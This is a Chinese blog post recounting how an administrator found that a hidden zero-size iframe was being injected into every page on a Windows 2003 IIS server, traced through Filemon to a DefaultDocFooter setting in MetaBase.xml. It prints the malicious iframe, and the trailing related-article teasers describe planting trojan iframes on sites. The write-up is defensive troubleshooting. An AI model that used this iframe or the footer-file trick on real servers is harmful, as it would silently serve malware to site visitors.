2003服务器 查IIS 挂马全过程(ARP挂马)

原创 2011年01月12日 20:29:00

 

2003服务器 查IIS 挂马全过程

一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了 

《iframe src="http://xxxdfsfd/web.htm" height=0 width=0> 

这种样式的代码 有的在头部 有的在尾部 部分杀毒软件打开会报毒 

打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码 

分析原因

首先怀疑ARP挂马,用防ARP的工具又没有发现有arp欺骗

而且arp欺骗一般不会每次都被插入代码,而是时有时无

而且使用http://127.0.0.1 或者http://localhost 访问的时候也可以找到这段代码

arp欺骗的可能排除。

然后就想到可能是JS被篡改,或者是其它的包含文件,查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会被插入这段代码,那就只能是通过IIS挂上去的了。

备份iis数据然后重装iis,代码消失,将备份的iis恢复,问题又来了。


仔细寻找,问题应该出在IIS的配置文件上,打开配置文件,没有发现那段代码。

那很有可能是调用了某个文件,这个怎么查啊,忽然想起了大名鼎鼎的Filemon

本地载了一个上传到服务器上,打开Filemon,数据太多了,过滤掉一些没有用的

只留下iis的进程,数据还是很多,看来服务器上的站点还是挺多人在访问的。

关掉所有站点,建了一个测试站点anky 目录为D:/www/ 在下面建了一个空白页面test.htm 

访问一下这个页面代码被插进来了,再看一下Filemon 奇怪怎么读取C:/Inetpub/wwwroot/iisstart.htm

打开C:/Inetpub/wwwroot/iisstart.htm一看,里面就躺着

《iframe src="http://xxxdfsfd/web.htm" height=0 width=0> 

把代码删除了留空,访问test.htm 正常了,把C:/Inetpub/wwwroot/iisstart.htm删除了再访问

test.htm 出现 “读取数据页脚文件出错”问题就出这里了,看来是调用了

这个文件。


把C:/Inetpub/wwwroot/iisstart.htm清空就正常了,这样怎么行,解决问题当然要连根拔掉。

continue

有没有可能是扩展造成的,到扩展中检查了一遍全部都是正常的

当然 通过ISAPI 挂马的也是存在的

左想右想最后还是觉得配置文件有问题

打开配置文件,配置文件在%windir%/system32/inetsrv/MetaBase.xml

用记事本打开,查找iisstart.htm 找到一行,开始以为是默认站点,后来一想不对啊

默认站点都删除了,再仔细一看这句代码为

DefaultDocFooter="FILE:C:/Inetpub/wwwroot/iisstart.htm"

删除掉这一行,问题彻底解决了。

 

 

 

 

参考相关文章:新挂马方式流行 ARP挂马称雄局域网

2003服务器 查IIS 挂马全过程(ARP挂马)

2003服务器 查IIS 挂马全过程一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了 《iframe src="http://xxxdfsfd/web.htm" height=0 widt...
  • faunjoe
  • faunjoe
  • 2009年05月31日 10:50
  • 421

服务器被挂马的一般解决方法

服务器被挂马的原因很多,在解决之前,首先要弄清楚被挂马的类型,比较常见的分为ARP挂马和非ARP挂马。先说说ARP挂马吧,机房中了ARP的木马,刚接触到的朋友会觉得很神奇,在服务器上看网站程序都没有被...
  • forest_fire
  • forest_fire
  • 2016年03月21日 11:05
  • 1766

很多网站被挂马确找不到代码,arp挂马原理剖析

不管是访问服务器上的任何网页,就连404的页面也会在 ;,挂马的位置在标记左右,上面这段恶意代码,它会 每隔几秒加入代码,也就是说在输出具体的东西之前就被挂了,有时有有时又没有,不是网页源代码问题,...
  • yuexi_hou
  • yuexi_hou
  • 2013年11月26日 13:09
  • 1424

网站被挂马的真正原因及挂马原理分析

什么是ARP   地址解析协议(Address Resolution Protocol,ARP)是在仅知道主机的IP地址时确定其物理地址的一种协议。因IPv4和以太网的广泛应用,其主要用作将IP地址翻...
  • yuanjixiang
  • yuanjixiang
  • 2010年12月14日 05:03
  • 395

最有效的防止服务器被挂马的方法

服务器有上传漏洞,常规的办法是设置存放文件的文件夹的权限为禁止运行,但对虚拟主机管理员来说很难,因为你不知道用户上传的网站中哪个文件夹是用来存放上传文件的。有没有更好的办法呢?相信所有的网站服务器都有...
  • cncco
  • cncco
  • 2009年06月06日 15:48
  • 1697

arp挂马方案

 不管是访问服务器上的任何网页,就连404的页面也会在后加入:;,挂马的位置在html标记左右,上面这段恶意代码,它会每隔几秒加入代码,也就是说在输出具体的东西之前就被挂了,有时有有时又没有,不是网页...
  • swdkk
  • swdkk
  • 2007年12月07日 09:57
  • 493

如何防止网页被挂马?

1:网页挂马的种类. 目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的。更详细的资料,请点击查看挂马代码大全。 卢松松以前做过的‘极品源码下载站’就遇到过JS挂马 ...
  • brokge
  • brokge
  • 2011年09月12日 23:17
  • 2648

[详解]一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)

   相信大多数朋友都是iframe木马的受害者,有朋友的网站被注入了n回iframe,心情可想而知。而且现在ARP攻击,注入iframe也是轻而易举的事,仅局域网里都时刻面临威胁,哎,什么世道。接近...
  • muliang774
  • muliang774
  • 2008年06月01日 10:20
  • 298

VBS清除全盘网页文件被挂马代码【VBS专杀】

由于有些病毒很恶心的感染了全盘文件, 感染exe还不说,还感染网页文件,真的极度变态恶心啊!杀毒软件清除exe文件还好,但是网页文件会被直接删除掉,好吧,自己动手,丰衣足食。用vbs写了这个脚本。 ...
  • u010038480
  • u010038480
  • 2013年05月25日 22:19
  • 600

各种网站挂马的代码和原理

只要不破坏原有的语言逻辑,那就想插入哪里就写哪里了,最基本的语句当然是,其中http://www.fucksb.net/mm.htm是我们的木马,下面就不一个一个提示了。   上面可能是一般的挂马方式...
  • iiprogram
  • iiprogram
  • 2008年03月31日 09:43
  • 3573
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:2003服务器 查IIS 挂马全过程(ARP挂马)
举报原因:
原因补充:

(最多只允许输入30个字)